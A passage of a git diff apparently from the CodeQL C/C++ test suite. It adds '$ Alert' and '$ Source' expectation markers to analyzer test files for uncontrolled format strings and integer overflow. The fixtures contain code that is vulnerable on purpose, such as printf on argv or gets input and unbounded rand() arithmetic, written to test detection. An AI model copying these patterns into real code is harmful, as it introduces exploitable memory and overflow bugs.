i5[5012]; i5[0] = argv[1][0]; - printf(i5); - printWrapper(i5); + printf(i5); // $ Alert + printWrapper(i5); // $ Alert // BAD: i5 value comes from argv - printf(i5 + 1); - printWrapper(i5 + 1); + printf(i5 + 1); // $ Alert + printWrapper(i5 + 1); // $ Alert // BAD: i4 value comes from argv - printf(i4++); - printWrapper(--i4); + printf(i4++); // $ Alert + printWrapper(--i4); // $ Alert // BAD: i5 value comes from argv, so in some cases the format come from argv - printf(argv[1] ? "a" : i5); - printWrapper(argv[1] ? "a" : i5); + printf(argv[1] ? "a" : i5); // $ Alert + printWrapper(argv[1] ? "a" : i5); // $ Alert // BAD: i7 receives the value of i1, which comes from argv char *i7 = (argv[1] , i1); - printf(i7); - printWrapper(i7); + printf(i7); // $ Alert + printWrapper(i7); // $ Alert // BAD: i8 value comes from argv char *i8; *(&i8) = argv[1]; - printf(i8); - printWrapper(i8); + printf(i8); // $ Alert + printWrapper(i8); // $ Alert // BAD: i9 value comes from argv [NOT DETECTED] char i9buf[32]; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.qlref index 079e0c8a7c0e..9c363bfac55e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: Security/CWE/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.qlref index 83622f12b4d9..cb71273232ca 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/NonConstantFormat.ql \ No newline at end of file +query: Likely Bugs/Format/NonConstantFormat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/consts.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/consts.cpp index 7242bedc133e..b3815dfd0b7c 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/consts.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/consts.cpp @@ -82,65 +82,65 @@ void a() { // BAD: v1 value came from the user char v1[100]; - gets(v1); - printf(v1); + gets(v1); // $ Source + printf(v1); // $ Alert // BAD: v2 value came from the user char *v2; - v2 = gets(v1); - printf(v2); + v2 = gets(v1); // $ Source + printf(v2); // $ Alert // BAD: v3 value is copied from v1, which came from the user char *v3 = v1; - printf(v3); + printf(v3); // $ Alert // BAD: v4 value is copied from v1, which came from the user char *v4; v4 = v1; - printf(v4); + printf(v4); // $ Alert // BAD: varFunc() is not defined, so it may not be constant - printf(varFunc()); + printf(varFunc()); // $ Alert // BAD: varFunc() is not defined, so it may not be constant - char *v5 = varFunc(); - printf(v5); + char *v5 = varFunc(); // $ Source + printf(v5); // $ Alert // BAD: varFunc() is not defined, so it may not be constant char *v6; - v6 = varFunc(); - printf(v6); + v6 = varFunc(); // $ Source + printf(v6); // $ Alert // BAD: all elements of v7 came from the user char *v7[] = { v1, v2 }; - printf(v7[0]); + printf(v7[0]); // $ Alert // BAD: v8 started as constant, but changed to a value that came from the user char *v8 = "a"; v8 = v7[1]; - printf(v8); + printf(v8); // $ Alert gv1[1] = v1; // BAD: nonConstFuncToArray() always returns a value from gv1, which is started as constant but was changed to a value that came from the user - printf(nonConstFuncToArray(0)); + printf(nonConstFuncToArray(0)); // $ Alert // BAD: v9 value is copied from v1, which came from the user const char *v9 = v1; - printf(v9); + printf(v9); // $ Alert // BAD: v10 value is derived from values that are not constant char v10[10]; sprintf(v10, "%s", v1); - printf(v10); + printf(v10); // $ Alert // BAD: v11 is initialized via a pointer char *v11; - readString(&v11); - printf(v11); + readString(&v11); // $ Source + printf(v11); // $ Alert // BAD: v12 is initialized via a reference char *v12; - readStringRef(v12); - printf(v12); + readStringRef(v12); // $ Source + printf(v12); // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.c index d2b28baac236..23a05e1ec50a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.c @@ -13,8 +13,8 @@ FILE *f; int main(int argc, char **argv) { // BAD: i1 comes from the user char i1[1024]; - fread(i1, sizeof(char), 1024, f); - printf(i1); + fread(i1, sizeof(char), 1024, f); // $ Source + printf(i1); // $ Alert // GOOD: i2 comes from the user, but is not the format string here char i2[1024]; @@ -23,39 +23,39 @@ int main(int argc, char **argv) { // BAD: i3 comes from the user char i3[1024]; - fgets(i3, 1, 0); - printf(i3); + fgets(i3, 1, 0); // $ Source + printf(i3); // $ Alert // BAD: i4 comes from the user char i41[1024]; - char *i4 = fgets(i41, 1, f); - printf(i4); + char *i4 = fgets(i41, 1, f); // $ Source + printf(i4); // $ Alert // BAD: i5 comes from the user char i5[1024]; - gets(i5); - printf(i5); + gets(i5); // $ Source + printf(i5); // $ Alert // BAD: i6 comes from the user char i61[1024]; - char *i6 = gets(i61); - printf(i6); + char *i6 = gets(i61); // $ Source + printf(i6); // $ Alert // BAD: i7 comes from the user char **i7; - gets(*i7); - printf(*i7); + gets(*i7); // $ Source + printf(*i7); // $ Alert // BAD: i8 comes from the user char i81[1024]; char **i8; - *i8 = gets(i81); - printf(*i8); + *i8 = gets(i81); // $ Source + printf(*i8); // $ Alert // BAD: e1 comes from i1, which comes from the user char e1[1]; e1[0] = i1[0]; - printf(e1); + printf(e1); // $ Alert return 0; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.qlref index 079e0c8a7c0e..9c363bfac55e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/funcs/funcsLocal.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: Security/CWE/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatString.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatString.qlref index 079e0c8a7c0e..9c363bfac55e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatString.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatString.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: Security/CWE/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/globalVars.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/globalVars.c index c36c708eab04..dedeade890aa 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/globalVars.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/globalVars.c @@ -20,14 +20,14 @@ void printWrapper(char *str) { printf(str); } -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source copyArgv(argv); // BAD: format comes from argv through copy - printf(copy); + printf(copy); // $ Alert // BAD: format comes from argv through copy - printWrapper(copy); + printWrapper(copy); // $ Alert // GOOD: constant format printf("%s", copy); @@ -35,10 +35,10 @@ int main(int argc, char **argv) { setCopy2(copy); // BAD: format comes from argv through copy2 (that is set to copy that is set to argv[1]) - printf(copy2); + printf(copy2); // $ Alert // BAD: format comes from argv through copy2 (that is set to copy that is set to argv[1]) - printWrapper(copy2); + printWrapper(copy2); // $ Alert // GOOD: constant format printf("%s", copy2); @@ -47,5 +47,5 @@ int main(int argc, char **argv) { // Should be GOOD because copy2 has value "asdf" // But we flag this case because once a global variable gets tainted we mark all usages as tainted - printf(copy2); + printf(copy2); // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.c index 3d15905d82d6..b7a8eca6e0f2 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.c @@ -13,7 +13,7 @@ int inv(int a) { return !a; } -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source int varZero = 0; int varOne = 1; @@ -59,69 +59,69 @@ int main(int argc, char **argv) { char *c7; if (globalZero) c7 = argv[1]; - printf(c7); + printf(c7); // $ Alert // GOOD: inv(1) returns 0 and it never goes inside the if // But we can't handle this case because currently we don't analyse arguments in function calls char *c8; if (inv(1)) c8 = argv[1]; - printf(c8); + printf(c8); // $ Alert // BAD: condition is true and it always goes inside the if char *i1; if (1) i1 = argv[1]; - printf(i1); + printf(i1); // $ Alert // BAD: condition is true and it always goes inside the if char *i2; if (0 == 0) i2 = argv[1]; - printf(i2); + printf(i2); // $ Alert // BAD: condition is true and it always goes inside the if char *i3; if (!0) i3 = argv[1]; - printf(i3); + printf(i3); // $ Alert // BAD: varOne is 1 so condition is true and it always goes inside the if char *i4; if (varOne) i4 = argv[1]; - printf(i4); + printf(i4); // $ Alert // BAD: varZero is 0 so condition is true and it always goes inside the if char *i5; if (!varZero) i5 = argv[1]; - printf(i5); + printf(i5); // $ Alert // BAD: condition is true and it always goes inside the if // But our analysis only handle booleans, so it isn't able the detect that both values are the same (we can handle only 0 == 0) char *i6; if (varOne == varOne) i6 = argv[1]; - printf(i6); + printf(i6); // $ Alert // BAD: globalOne is 1 so condition is true and it always goes inside the if char *i7; if (globalOne) i7 = argv[1]; - printf(i7); + printf(i7); // $ Alert // BAD: we don't know the value of globalUnknown so we have to assume it can be true char *i8; if (globalUnknown) i8 = argv[1]; - printf(i8); + printf(i8); // $ Alert // BAD: inv(0) returns 1 and it always goes inside the if char *i9; if (inv(0)) i9 = argv[1]; - printf(i9); + printf(i9); // $ Alert return 0; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.qlref index 079e0c8a7c0e..9c363bfac55e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/ifs/ifs.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: Security/CWE/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticTainted.qlref index 3939653db1c3..d8fb26f7e023 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ArithmeticTainted.ql +query: Security/CWE/CWE-190/ArithmeticTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticUncontrolled.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticUncontrolled.qlref index 1fcafc3ca1c8..e18d0e08a87f 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticUncontrolled.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticUncontrolled.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ArithmeticUncontrolled.ql +query: Security/CWE/CWE-190/ArithmeticUncontrolled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticWithExtremeValues.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticWithExtremeValues.qlref index ab2c35ce59b2..0109cee57cf7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticWithExtremeValues.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/ArithmeticWithExtremeValues.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ArithmeticWithExtremeValues.ql +query: Security/CWE/CWE-190/ArithmeticWithExtremeValues.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/IntegerOverflowTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/IntegerOverflowTainted.qlref index df42008c632b..419ed80f3b9e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/IntegerOverflowTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/IntegerOverflowTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/IntegerOverflowTainted.ql +query: Security/CWE/CWE-190/IntegerOverflowTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/examples.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/examples.cpp index b2cdbbe7133f..3fab05fc20cb 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/examples.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/SAMATE/examples.cpp @@ -19,10 +19,10 @@ void CWE191_Integer_Underflow__unsigned_int_rand_sub_01_bad() unsigned int data; data = 0; /* POTENTIAL FLAW: Use a random value */ - data = (unsigned int)RAND32(); + data = (unsigned int)RAND32(); // $ Source[cpp/uncontrolled-arithmetic] { /* POTENTIAL FLAW: Subtracting 1 from data could cause an underflow */ - unsigned int result = data - 1; + unsigned int result = data - 1; // $ Alert[cpp/uncontrolled-arithmetic] printUnsignedLine(result); } } @@ -32,10 +32,10 @@ void CWE191_Integer_Underflow__unsigned_int_rand_postdec_01_bad() unsigned int data; data = 0; /* POTENTIAL FLAW: Use a random value */ - data = (unsigned int)RAND32(); + data = (unsigned int)RAND32(); // $ Source[cpp/uncontrolled-arithmetic] { /* POTENTIAL FLAW: Decrementing data could cause an underflow */ - data--; + data--; // $ Alert[cpp/uncontrolled-arithmetic] unsigned int result = data; printUnsignedLine(result); } @@ -60,10 +60,10 @@ void CWE191_Integer_Underflow__unsigned_int_fscanf_predec_01_bad() unsigned int data; data = 0; /* POTENTIAL FLAW: Use a value input from the console */ - fscanf (stdin, "%u", &data); + fscanf (stdin, "%u", &data); // $ Source[cpp/tainted-arithmetic] { /* POTENTIAL FLAW: Decrementing data could cause an underflow */ - --data; + --data; // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] unsigned int result = data; printUnsignedLine(result); } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/ArithmeticUncontrolled.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/ArithmeticUncontrolled.qlref index 1fcafc3ca1c8..e18d0e08a87f 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/ArithmeticUncontrolled.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/ArithmeticUncontrolled.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ArithmeticUncontrolled.ql +query: Security/CWE/CWE-190/ArithmeticUncontrolled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.c index 691801a620a5..77c4ace01e75 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.c @@ -15,10 +15,10 @@ void add_100(int); void randomTester() { int i; for (i = 0; i < 1000; i++) { - int r = rand(); + int r = rand(); // $ Source // BAD: The return from rand() is unbounded - trySlice(r, r+100); + trySlice(r, r+100); // $ Alert } for (i = 0; i < 1000; i++) { @@ -31,8 +31,8 @@ void randomTester() { } { - int r = RAND(); - r += 100; // BAD: The return from RAND() is unbounded + int r = RAND(); // $ Source + r += 100; // BAD: The return from RAND() is unbounded // $ Alert } { @@ -41,8 +41,8 @@ void randomTester() { } { - int r = rand(); - r += 100; // BAD + int r = rand(); // $ Source + r += 100; // BAD // $ Alert } { @@ -72,15 +72,15 @@ void randomTester() { } { - int r = RAND2(); + int r = RAND2(); // $ Source - r = r + 100; // BAD + r = r + 100; // BAD // $ Alert } { - int r = (rand() ^ rand()); + int r = (rand() ^ rand()); // $ Source - r = r + 100; // BAD + r = r + 100; // BAD // $ Alert } { @@ -122,21 +122,21 @@ void randomTester2(int bound, int min, int max) { void moreTests() { { - int r = rand(); + int r = rand(); // $ Source - r = r * 100; // BAD + r = r * 100; // BAD // $ Alert } { - int r = rand(); + int r = rand(); // $ Source - r *= 100; // BAD + r *= 100; // BAD // $ Alert } { - int r = rand(); + int r = rand(); // $ Source int v = 100; - v *= r; // BAD + v *= r; // BAD // $ Alert } { @@ -152,9 +152,9 @@ void moreTests() { } { - unsigned int r = rand(); + unsigned int r = rand(); // $ Source - r = r - 100; // BAD + r = r - 100; // BAD // $ Alert } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.cpp index f5e401c60cde..58f37f152cfd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticUncontrolled/test.cpp @@ -5,36 +5,36 @@ int rand(void); int get_rand() { - return rand(); + return rand(); // $ Source } void get_rand2(int *dest) { - *dest = rand(); + *dest = rand(); // $ Source } void get_rand3(int &dest) { - dest = rand(); + dest = rand(); // $ Source } void randomTester2() { { int r = get_rand(); - r = r + 100; // BAD + r = r + 100; // BAD // $ Alert } { int r; get_rand2(&r); - r = r + 100; // BAD + r = r + 100; // BAD // $ Alert } { int r; get_rand3(r); - r = r + 100; // BAD + r = r + 100; // BAD // $ Alert } } @@ -59,10 +59,10 @@ int test_remainder_subtract() unsigned int test_remainder_subtract_unsigned() { - unsigned int x = rand(); + unsigned int x = rand(); // $ Source unsigned int y = x % 100; // y <= x - return x - y; // GOOD (as y <= x) [FALSE POSITIVE] + return x - y; // GOOD (as y <= x) [FALSE POSITIVE] // $ Alert } typedef unsigned long size_t; @@ -83,11 +83,11 @@ int test_snprintf(char *buf, size_t buf_sz) int test_else_1() { - int x = rand(); + int x = rand(); // $ Source if (x > 100) { - return x * 10; // BAD + return x * 10; // BAD // $ Alert } else { return x * 10; // GOOD (as x <= 100) } @@ -95,11 +95,11 @@ int test_else_1() int test_else_2() { - int x = rand(); + int x = rand(); // $ Source if (x > 100) { - return x * 10; // BAD + return x * 10; // BAD // $ Alert } return x * 10; // GOOD (as x <= 100) @@ -134,7 +134,7 @@ int test_conditional_assignment_2() int test_conditional_assignment_3() { - int x = rand(); + int x = rand(); // $ Source int y = 100; int c = 10; @@ -143,15 +143,15 @@ int test_conditional_assignment_3() y = x; } - return y * c; // GOOD (as y <= 100) [FALSE POSITIVE] + return y * c; // GOOD (as y <= 100) [FALSE POSITIVE] // $ Alert } int test_underflow() { - int x = rand(); + int x = rand(); // $ Source int a = -x; // GOOD int b = 10 - x; // GOOD - int c = b * 2; // BAD + int c = b * 2; // BAD // $ Alert } int test_cast() @@ -166,9 +166,9 @@ int test_cast() void test_float() { { - int x = rand(); + int x = rand(); // $ Source float y = x; // GOOD - int z = (int)y * 5; // BAD + int z = (int)y * 5; // BAD // $ Alert } { @@ -186,37 +186,37 @@ void test_float() void test_if_const_bounded() { - int x = rand(); - int y = rand(); + int x = rand(); // $ Source + int y = rand(); // $ Source int c = 10; if (x < 1000) { x = x * 2; // GOOD - x = x * c; // GOOD [FALSE POSITIVE] + x = x * c; // GOOD [FALSE POSITIVE] // $ Alert } else { - x = x * 2; // BAD - x = x * c; // BAD + x = x * 2; // BAD // $ Alert + x = x * c; // BAD // $ Alert } if (y > 1000) { - y = y * 2; // BAD - y = y * c; // BAD + y = y * 2; // BAD // $ Alert + y = y * c; // BAD // $ Alert } else { y = y * 2; // GOOD - y = y * c; // GOOD [FALSE POSITIVE] + y = y * c; // GOOD [FALSE POSITIVE] // $ Alert } } void test_mod_limit() { { - int x = rand(); + int x = rand(); // $ Source int y = 100; int z; - z = (x + y) % 1000; // BAD + z = (x + y) % 1000; // BAD // $ Alert } { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/ArithmeticWithExtremeValues.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/ArithmeticWithExtremeValues.qlref index ab2c35ce59b2..0109cee57cf7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/ArithmeticWithExtremeValues.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/ArithmeticWithExtremeValues.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ArithmeticWithExtremeValues.ql +query: Security/CWE/CWE-190/ArithmeticWithExtremeValues.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/test.c index 8760641c8e2d..d4fa29deaf97 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ArithmeticWithExtremeValues/test.c @@ -14,7 +14,7 @@ int len_last(int n, char** lines) { } // BAD: if the input array is empty, then max will still be INT_MAX - return min + 1; + return min + 1; // $ Alert } @@ -45,9 +45,9 @@ void test_crement() { sc1 = CHAR_MIN; sc1++; // GOOD sc2 = CHAR_MIN; - sc2--; // BAD + sc2--; // BAD // $ Alert sc3 = CHAR_MAX; - sc3++; // BAD + sc3++; // BAD // $ Alert sc4 = CHAR_MAX; sc4--; // GOOD @@ -56,11 +56,11 @@ void test_crement() { sc5++; // GOOD [FALSE POSITIVE] sc6 = CHAR_MAX; - sc6 += 1; // BAD + sc6 += 1; // BAD // $ Alert sc7 = CHAR_MAX; sc7 -= 1; // GOOD sc8 = CHAR_MIN; - sc8 -= 1; // BAD + sc8 -= 1; // BAD // $ Alert sc9 = CHAR_MIN; sc9 += 1; // GOOD @@ -121,5 +121,5 @@ void test_guards4(int cond) { if (x == 0) return; - return x + 1; // BAD + return x + 1; // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/ComparisonWithWiderType.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/ComparisonWithWiderType.qlref index 4a71f8aad4ca..f836a00c9c4e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/ComparisonWithWiderType.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/ComparisonWithWiderType.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ComparisonWithWiderType.ql +query: Security/CWE/CWE-190/ComparisonWithWiderType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/test.c index 8361ae3e31b5..e22cce3c2a1d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/ComparisonWithWiderType/test.c @@ -1,17 +1,17 @@ void test1 (int x) { char c; - for (c = 0; c < x; c++) {} //BAD + for (c = 0; c < x; c++) {} //BAD // $ Alert } void test2 (int x) { char c; - for (c = 0; x > c; c++) {} // BAD + for (c = 0; x > c; c++) {} // BAD // $ Alert } void test3 (int x) { short s; - for (s = 0; s < x; s++) {} //BAD + for (s = 0; s < x; s++) {} //BAD // $ Alert } void runner() { // get range analysis to give large values to x in tests @@ -39,7 +39,7 @@ void test5 () { void test6() { short s1; - for (s1 = 0; s1 < 0x0000ffff; s1++) {} // BAD + for (s1 = 0; s1 < 0x0000ffff; s1++) {} // BAD // $ Alert } void test7(long long l) { @@ -62,7 +62,7 @@ void test9(int x) { void test10(int x) { short s; - for (s = 0; s < x; ) { // BAD + for (s = 0; s < x; ) { // BAD // $ Alert do { s++; @@ -84,27 +84,27 @@ void test12() { unsigned int x; x = get_a_uint(); - for (c = 0; c < x; c++) {} // BAD + for (c = 0; c < x; c++) {} // BAD // $ Alert x = get_a_uint(); for (c = 0; c < 0xFF; c++) {} // GOOD x = get_a_uint(); - for (c = 0; c < 0xFF00; c++) {} // BAD + for (c = 0; c < 0xFF00; c++) {} // BAD // $ Alert x = get_a_uint(); - for (c = 0; c < 0xFF0000; c++) {} // BAD + for (c = 0; c < 0xFF0000; c++) {} // BAD // $ Alert x = get_a_uint(); - for (c = 0; c < 0xFF000000; c++) {} // BAD + for (c = 0; c < 0xFF000000; c++) {} // BAD // $ Alert x = get_a_uint(); for (c = 0; c < (x & 0xFF); c++) {} // GOOD x = get_a_uint(); - for (c = 0; c < (x & 0xFF00); c++) {} // BAD + for (c = 0; c < (x & 0xFF00); c++) {} // BAD // $ Alert x = get_a_uint(); - for (c = 0; c < (x & 0xFF0000); c++) {} // BAD + for (c = 0; c < (x & 0xFF0000); c++) {} // BAD // $ Alert x = get_a_uint(); - for (c = 0; c < (x & 0xFF000000); c++) {} // BAD + for (c = 0; c < (x & 0xFF000000); c++) {} // BAD // $ Alert x = get_a_uint(); - for (c = 0; c < (x >> 8); c++) {} // BAD + for (c = 0; c < (x >> 8); c++) {} // BAD // $ Alert x = get_a_uint(); - for (c = 0; c < (x >> 16); c++) {} // BAD + for (c = 0; c < (x >> 16); c++) {} // BAD // $ Alert x = get_a_uint(); for (c = 0; c < (x >> 24); c++) {} // GOOD (assuming 32-bit ints) x = get_a_uint(); @@ -125,7 +125,7 @@ void test13() { ux = get_a_uint(); uy = get_a_uint(); sz = ux & uy; - for (uc = 0; uc < sz; uc++) {} // BAD + for (uc = 0; uc < sz; uc++) {} // BAD // $ Alert ux = get_a_uint(); uy = get_a_uint(); @@ -136,7 +136,7 @@ void test13() { sx = get_an_int(); sy = get_an_int(); sz = (unsigned)sx & (unsigned)sy; - for (uc = 0; uc < sz; uc++) {} // BAD + for (uc = 0; uc < sz; uc++) {} // BAD // $ Alert sx = get_an_int(); sy = get_an_int(); @@ -153,7 +153,7 @@ void test14() { // BAD: 's' is compared with a value of a wider type. // 's' overflows before reaching 'sx', // causing an infinite loop - while (s < sx) { + while (s < sx) { // $ Alert s += 1; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.qlref index df804c0942f4..2db07b995892 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/TaintedAllocationSize.ql +query: Security/CWE/CWE-190/TaintedAllocationSize.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/test.cpp index e13c50a960b4..dfdebcf2478a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/test.cpp +++ 